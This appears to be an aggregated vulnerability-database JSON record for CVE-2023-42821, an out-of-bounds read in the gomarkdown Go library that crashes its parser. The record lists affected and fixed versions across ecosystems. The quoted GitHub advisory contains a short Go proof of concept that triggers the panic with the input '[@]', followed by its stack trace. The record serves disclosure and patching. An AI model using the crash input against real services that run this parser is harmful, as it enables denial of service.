{"id":"CVE-2023-42821","aliases":["AZL-39828","DEBIAN-CVE-2023-42821","EUVD-2023-2549","GHSA-m9xq-6h2j-65r2","GO-2023-2074","UBUNTU-CVE-2023-42821"],"status":"published","title":"github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01252,"percentile":0.69826,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125"],"published":"2023-09-22T16:55:33Z","modified":"2026-10-28T02:30:46Z","fixes":[{"ecosystem":"Go","package":"github.com/gomarkdown/markdown","fixed_in":["0.0.0-20230922105210-14b16010c2ee"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:2","package":"cri-o","fixed_in":["1.21.7-2"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"golang-github-gomarkdown-markdown","fixed_in":["0.0~git20231115.a660076-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"golang-github-gomarkdown-markdown","fixed_in":["0.0~git20231115.a660076-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/gomarkdown/markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20230922105210-14b16010c2ee"}]}]},{"source":"osv","ecosystem":"Azure Linux:2","package":"cri-o","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.7-2"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-gomarkdown-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0~git20220731.dcdaee8-2","0.0~git20231115.a660076-1","0.0~git20260725.8435af3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-gomarkdown-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0~git20231115.a660076-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-gomarkdown-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0~git20231115.a660076-1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gomarkdown/markdown","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20230922105210-14b16010c2ee"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gomarkdown/markdown","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20230922105210-14b16010c2ee"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-gomarkdown-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0~git20220731.dcdaee8-2","0.0~git20231115.a660076-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"golang-github-gomarkdown-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0~git20231115.a660076-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-gomarkdown-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0~git20231115.a660076-1","0.0~git20260725.8435af3-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-gomarkdown-markdown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0~git20231115.a660076-1"]}],"products":[{"vendor":"gomarkdown","product":"markdown"}],"references":[{"url":"https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","report"]},{"url":"https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69","tags":["x_refsource_MISC","x_transferred","Product","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-42821","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-m9xq-6h2j-65r2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/42xxx/CVE-2023-42821.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-42821","tags":["advisory"]},{"url":"https://github.com/gomarkdown/markdown","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2023-42821","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-42821","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2023-42821","title":"github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","status":"published","published":"2023-09-22T16:55:33.355Z","modified":"2024-09-24T19:27:42.779Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:35:18.16233Z"}],"euvd":[{"id":"EUVD-2023-2549","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","status":"published","published":"2023-09-22T16:55:33Z","modified":"2024-09-24T19:27:42Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T00:28:14.929509Z"}],"ghsa":[{"id":"GHSA-m9xq-6h2j-65r2","title":"Markdown vulnerable to Out-of-bounds Read while parsing citations","description":"### Summary\nParsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.\n\n### Details\nTo exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length.\n\nhttps://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"github.com/gomarkdown/markdown\"\n\t\"github.com/gomarkdown/markdown/parser\"\n)\n\nfunc main() {\n\text := parser.CommonExtensions |\n\t\tparser.Attributes |\n\t\tparser.OrderedListStart |\n\t\tparser.SuperSubscript |\n\t\tparser.Mmark\n\tp := parser.NewWithExtensions(ext)\n\n\tinp := []byte(\"[@]\")\n\tmarkdown.ToHTML(inp, p, nil)\n}\n```\n\n```bash\n$ go run main.go\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 1 [running]:\ngithub.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544\ngithub.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0\ngithub.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c\ngithub.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144\ngithub.com/gomarkdown/markdown/ast.WalkFunc(...)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c\ngithub.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c\ngithub.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30\nmain.main()\n\t/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c\nexit status 2\n```\n\n### Impact\nDenial of Service / panic\n","status":"published","published":"2023-09-22T19:59:49Z","modified":"2023-11-09T05:05:20Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:37:18.40412Z"}],"nvd":[{"id":"CVE-2023-42821","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","status":"published","published":"2023-09-22T17:15:14.99Z","modified":"2026-06-17T06:24:35.577Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:08:31.699785Z"}],"osv":[{"id":"AZL-39828","title":"CVE-2023-42821 affecting package cri-o for versions less than 1.21.7-2","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","status":"published","published":"2023-09-22T17:15:14Z","modified":"2026-04-21T04:28:50.066928Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:28:04.608733Z"},{"id":"CVE-2023-42821","title":"github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","status":"published","published":"2023-09-22T16:55:33.355Z","modified":"2026-10-28T02:30:46.514837153Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:44:33.792101Z"},{"id":"DEBIAN-CVE-2023-42821","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","status":"published","published":"2023-09-22T17:15:14.99Z","modified":"2026-10-26T18:02:34.198807819Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:40.275853Z"},{"id":"GHSA-m9xq-6h2j-65r2","title":"Markdown vulnerable to Out-of-bounds Read while parsing citations","description":"### Summary\nParsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.\n\n### Details\nTo exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length.\n\nhttps://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"github.com/gomarkdown/markdown\"\n\t\"github.com/gomarkdown/markdown/parser\"\n)\n\nfunc main() {\n\text := parser.CommonExtensions |\n\t\tparser.Attributes |\n\t\tparser.OrderedListStart |\n\t\tparser.SuperSubscript |\n\t\tparser.Mmark\n\tp := parser.NewWithExtensions(ext)\n\n\tinp := []byte(\"[@]\")\n\tmarkdown.ToHTML(inp, p, nil)\n}\n```\n\n```bash\n$ go run main.go\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 1 [running]:\ngithub.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544\ngithub.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0\ngithub.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c\ngithub.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144\ngithub.com/gomarkdown/markdown/ast.WalkFunc(...)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c\ngithub.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c\ngithub.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30\nmain.main()\n\t/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c\nexit status 2\n```\n\n### Impact\nDenial of Service / panic\n","status":"published","published":"2023-09-22T19:59:49Z","modified":"2026-09-10T03:49:58.454932808Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:46:51.811331Z"},{"id":"UBUNTU-CVE-2023-42821","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","status":"published","published":"2023-09-22T17:15:00Z","modified":"2026-10-17T12:56:25.669856776Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:22.741943Z"},{"id":"GO-2023-2074","title":"Parser out-of-bounds read caused by a malformed markdown input in github.com/gomarkdown/markdown","description":"Parser out-of-bounds read caused by a malformed markdown input in github.com/gomarkdown/markdown","status":"published","published":"2023-09-22T22:04:21Z","modified":"2024-05-20T16:03:47Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}